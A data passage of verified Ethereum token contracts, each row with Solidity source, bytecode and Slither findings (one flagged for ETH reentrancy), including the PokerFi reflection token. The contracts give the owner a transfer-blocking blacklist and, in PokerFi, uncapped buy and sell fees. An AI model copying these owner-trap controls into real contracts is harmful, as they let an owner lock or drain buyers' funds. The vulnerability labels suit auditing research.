uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd8014610309578063c9567bf91461031e578063dbe8272c14610333578063dc1052e214610353578063dd62ed3e1461037357600080fd5b80638da5cb5b1461028c57806395d89b41146101515780639e78fb4f146102b4578063a9059cbb146102c9578063b515566a146102e957600080fd5b8063273123b7116100e7578063273123b714610206578063313ce567146102265780636fc3eaec1461024257806370a0823114610257578063715018a61461027757600080fd5b8063013206211461012f57806306fdde0314610151578063095ea7b31461019157806318160ddd146101c157806323b872dd146101e657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5061014f61014a3660046115c9565b6103b9565b005b34801561015d57600080fd5b5060408051808201825260088152674b6f6e674261736560c01b6020820152905161018891906115e6565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611660565b61040a565b6040519015158152602001610188565b3480156101cd57600080fd5b50678ac7230489e800005b604051908152602001610188565b3480156101f257600080fd5b506101b161020136600461168c565b610421565b34801561021257600080fd5b5061014f6102213660046116cd565b61048a565b34801561023257600080fd5b5060405160098152602001610188565b34801561024e57600080fd5b5061014f6104d5565b34801561026357600080fd5b506101d86102723660046116cd565b61050c565b34801561028357600080fd5b5061014f61052e565b34801561029857600080fd5b506000546040516001600160a01b039091168152602001610188565b3480156102c057600080fd5b5061014f6105a2565b3480156102d557600080fd5b506101b16102e4366004611660565b6107b4565b3480156102f557600080fd5b5061014f610304366004611700565b6107c1565b34801561031557600080fd5b5061014f610857565b34801561032a57600080fd5b5061014f610897565b34801561033f57600080fd5b5061014f61034e3660046117c5565b610a40565b34801561035f57600080fd5b5061014f61036e3660046117c5565b610a78565b34801561037f57600080fd5b506101d861038e3660046117de565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103ec5760405162461bcd60e51b81526004016103e390611817565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610417338484610ab0565b5060015b92915050565b600061042e848484610bd4565b610480843361047b856040518060600160405280602881526020016119dd602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ee4565b610ab0565b5060019392505050565b6000546001600160a01b031633146104b45760405162461bcd60e51b81526004016103e390611817565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104ff5760405162461bcd60e51b81526004016103e390611817565b4761050981610f1e565b50565b6001600160a01b03811660009081526002602052604081205461041b90610f58565b6000546001600160a01b031633146105585760405162461bcd60e51b81526004016103e390611817565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105cc5760405162461bcd60e51b81526004016103e390611817565b600f54600160a01b900460ff16156106265760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e3565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561068b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106af919061184c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610720919061184c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561076d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610791919061184c565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610417338484610bd4565b6000546001600160a01b031633146107eb5760405162461bcd60e51b81526004016103e390611817565b60005b81518110156108535760016006600084848151811061080f5761080f611869565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061084b81611895565b9150506107ee565b5050565b6000546001600160a01b031633146108815760405162461bcd60e51b81526004016103e390611817565b600061088c3061050c565b905061050981610fdc565b6000546001600160a01b031633146108c15760405162461bcd60e51b81526004016103e390611817565b600e546108e19030906001600160a01b0316678ac7230489e80000610ab0565b600e546001600160a01b031663f305d71947306108fd8161050c565b6000806109126000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561097a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099f91906118b0565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a1c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050991906118de565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016103e390611817565b600f81101561050957600b55565b6000546001600160a01b03163314610aa25760405162461bcd60e51b81526004016103e390611817565b600f81101561050957600c55565b6001600160a01b038316610b125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e3565b6001600160a01b038216610b735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e3565b6001600160a01b038216610c9a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e3565b60008111610cfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e3565b6001600160a01b03831660009081526006602052604090205460ff1615610d2257600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610d6457506001600160a01b03821660009081526005602052604090205460ff16155b15610ed4576000600955600c54600a55600f546001600160a01b038481169116148015610d9f5750600e546001600160a01b03838116911614155b8015610dc457506001600160a01b03821660009081526005602052604090205460ff16155b8015610dd95750600f54600160b81b900460ff165b15610e06576000610de98361050c565b601054909150610df98383611156565b1115610e0457600080fd5b505b600f546001600160a01b038381169116148015610e315750600e546001600160a01b03848116911614155b8015610e5657506001600160a01b03831660009081526005602052604090205460ff16155b15610e67576000600955600b54600a555b6000610e723061050c565b600f54909150600160a81b900460ff16158015610e9d5750600f546001600160a01b03858116911614155b8015610eb25750600f54600160b01b900460ff165b15610ed257610ec081610fdc565b478015610ed057610ed047610f1e565b505b505b610edf8383836111b5565b505050565b60008184841115610f085760405162461bcd60e51b81526004016103e391906115e6565b506000610f1584866118fb565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610853573d6000803e3d6000fd5b6000600754821115610fbf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103e3565b6000610fc96111c0565b9050610fd583826111e3565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061102457611024611869565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561107d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a1919061184c565b816001815181106110b4576110b4611869565b6001600160a01b039283166020918202929092010152600e546110da9130911684610ab0565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611113908590600090869030904290600401611912565b600060405180830381600087803b15801561112d57600080fd5b505af1158015611141573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111638385611983565b905083811015610fd55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e3565b610edf838383611225565b60008060006111cd61131c565b90925090506111dc82826111e3565b9250505090565b6000610fd583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061135c565b6000806000806000806112378761138a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061126990876113e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112989086611156565b6001600160a01b0389166000908152600260205260409020556112ba81611429565b6112c48483611473565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161130991815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e8000061133782826111e3565b82101561135357505060075492678ac7230489e8000092509050565b90939092509050565b6000818361137d5760405162461bcd60e51b81526004016103e391906115e6565b506000610f15848661199b565b60008060008060008060008060006113a78a600954600a54611497565b92509250925060006113b76111c0565b905060008060006113ca8e8787876114ec565b919e509c509a509598509396509194505050505091939550919395565b6000610fd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ee4565b60006114336111c0565b90506000611441838361153c565b3060009081526002602052604090205490915061145e9082611156565b30600090815260026020526040902055505050565b60075461148090836113e7565b6007556008546114909082611156565b6008555050565b60008080806114b160646114ab898961153c565b906111e3565b905060006114c460646114ab8a8961153c565b905060006114dc826114d68b866113e7565b906113e7565b9992985090965090945050505050565b60008080806114fb888661153c565b90506000611509888761153c565b90506000611517888861153c565b90506000611529826114d686866113e7565b939b939a50919850919650505050505050565b60008261154b5750600061041b565b600061155783856119bd565b905082611564858361199b565b14610fd55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e3565b801515811461050957600080fd5b6000602082840312156115db57600080fd5b8135610fd5816115bb565b600060208083528351808285015260005b81811015611613578581018301518582016040015282016115f7565b81811115611625576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461050957600080fd5b803561165b8161163b565b919050565b6000806040838503121561167357600080fd5b823561167e8161163b565b946020939093013593505050565b6000806000606084860312156116a157600080fd5b83356116ac8161163b565b925060208401356116bc8161163b565b929592945050506040919091013590565b6000602082840312156116df57600080fd5b8135610fd58161163b565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561171357600080fd5b823567ffffffffffffffff8082111561172b57600080fd5b818501915085601f83011261173f57600080fd5b813581811115611751576117516116ea565b8060051b604051601f19603f83011681018181108582111715611776576117766116ea565b60405291825284820192508381018501918883111561179457600080fd5b938501935b828510156117b9576117aa85611650565b84529385019392850192611799565b98975050505050505050565b6000602082840312156117d757600080fd5b5035919050565b600080604083850312156117f157600080fd5b82356117fc8161163b565b9150602083013561180c8161163b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561185e57600080fd5b8151610fd58161163b565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156118a9576118a961187f565b5060010190565b6000806000606084860312156118c557600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118f057600080fd5b8151610fd5816115bb565b60008282101561190d5761190d61187f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119625784516001600160a01b03168352938301939183019160010161193d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119965761199661187f565b500190565b6000826119b857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119d7576119d761187f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc3b848eb0c768715e48c0772f99cccb35373a080da202375d7ff8edefe06d7064736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,911 |
0x7834ecb043534e64bc22645461317710c59d8e1c | /**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
/**
Name: The Crypto Poker
Symbol: PokerFi
A deck of poker has 54 cards, and each card is worth a million, so the total supply is 54,000,000
Total Supply: 54,000,000
Slippage:
Max Wallet:5%
Max buy:1%
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CryptoPoker is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 54000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _FeeoFSell;
uint256 private _FeeOfBuy;
address payable private _feeAddress;
string private constant _name = "The Crypto Poker";
string private constant _symbol = "PokerFi";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x7B0417Ad336c125919A1Dddd6c30168766f67d3B);
_FeeOfBuy = 7;
_FeeoFSell = 13;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _FeeOfBuy;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _FeeoFSell;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/3;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 540000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 540000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setFee(uint256 buyFee,uint256 sellFee) external onlyOwner() {
_FeeOfBuy = buyFee;
_FeeoFSell = sellFee;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a146103ba578063c3c8cd80146103e3578063c9567bf9146103fa578063dd62ed3e14610411578063dd726e7c1461044e5761012a565b8063715018a6146102f95780638da5cb5b1461031057806395d89b411461033b5780639e78fb4f14610366578063a9059cbb1461037d5761012a565b8063273123b7116100e7578063273123b714610228578063313ce5671461025157806346df33b71461027c5780636fc3eaec146102a557806370a08231146102bc5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631bbae6e0146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612602565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906126cc565b6104b4565b60405161018e9190612727565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612751565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061276c565b6104e1565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612799565b610590565b60405161021f9190612727565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906127ec565b610669565b005b34801561025d57600080fd5b50610266610759565b6040516102739190612835565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e919061287c565b610762565b005b3480156102b157600080fd5b506102ba610814565b005b3480156102c857600080fd5b506102e360048036038101906102de91906127ec565b6108ba565b6040516102f09190612751565b60405180910390f35b34801561030557600080fd5b5061030e61090b565b005b34801561031c57600080fd5b50610325610a5e565b60405161033291906128b8565b60405180910390f35b34801561034757600080fd5b50610350610a87565b60405161035d9190612602565b60405180910390f35b34801561037257600080fd5b5061037b610ac4565b005b34801561038957600080fd5b506103a4600480360381019061039f91906126cc565b610da0565b6040516103b19190612727565b60405180910390f35b3480156103c657600080fd5b506103e160048036038101906103dc9190612a1b565b610dbe565b005b3480156103ef57600080fd5b506103f8610ee8565b005b34801561040657600080fd5b5061040f610f96565b005b34801561041d57600080fd5b5061043860048036038101906104339190612a64565b61125f565b6040516104459190612751565b60405180910390f35b34801561045a57600080fd5b5061047560048036038101906104709190612aa4565b6112e6565b005b60606040518060400160405280601081526020017f5468652043727970746f20506f6b657200000000000000000000000000000000815250905090565b60006104c86104c161138d565b8484611395565b6001905092915050565b600066bfd8b6c1df0000905090565b6104e961138d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d90612b30565b60405180910390fd5b6601eb208c2dc00081111561058d57806010819055505b50565b600061059d84848461155e565b61065e846105a961138d565b6106598560405180606001604052806028815260200161347b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061060f61138d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab39092919063ffffffff16565b611395565b600190509392505050565b61067161138d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f590612b30565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61076a61138d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ee90612b30565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b61081c61138d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a090612b30565b60405180910390fd5b60004790506108b781611b17565b50565b6000610904600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b83565b9050919050565b61091361138d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099790612b30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f506f6b6572466900000000000000000000000000000000000000000000000000815250905090565b610acc61138d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fffffffff